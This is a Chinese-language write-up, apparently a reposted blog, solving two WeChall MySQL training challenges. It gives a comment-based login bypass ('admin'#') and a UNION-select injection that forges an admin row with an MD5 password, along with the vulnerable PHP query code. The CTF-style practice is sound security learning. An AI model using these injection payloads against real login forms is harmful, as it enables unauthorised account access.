[Wechall]Training:MySQL

来源:互联网 发布:印尼屠侨真相知乎 编辑:程序博客网 时间:2024/06/11 00:08

绕过登录MySQL I:

http://www.wechall.net/challenge/training/mysql/auth_bypass1/index.php
输入“admin’#”即可绕过,没有任何的字符过滤。账号密码一起的 :$query=”SELECT * FROM users WHERE username=’$username’ and password=’$password’”;


绕过登录MySQL II:

http://www.wechall.net/challenge/training/mysql/auth_bypass2/index.php
这里写图片描述
1.这次的跟上一道bypass不一样,账号与密码是分开验证的,并且表中的uername和password是非空的,但是没有字符串过滤。关键代码:

$password = md5($password);$query = "SELECT * FROM users WHERE username='$username'";//当存在username执行查询###注入关键点###if (false === ($result = $db->queryFirst($query))) {//返回查询结果第一行    echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);    return false;}       ################################ This is the new check ###if ($result['password'] !== $password) {//密码验证####注入关键点####    echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);return false;} #  End of the new code  ###

2.我们知道select可以选择常量,比如select null,’232’,’988’结果为:
这里写图片描述
使用以下查询:select * from ‘users’ where 1 union select null,’admin’,’password’结果为:
这里写图片描述
3.利用这种思想可以解决这道题。但是需注意三个问题。
第一,源代码要求返回结果集的第一行,在select * from ‘users’ where username=’admin’ union select null,’admin’,’password’中让第一个select条件为假即可。
第二,注意到MD5,所以应该将password改为md5(‘password’)。
第三,注意闭合单引号。
Username:xx’ union select null,’admin’,md5(‘password’) where ‘a’=’a
Password:password

0 0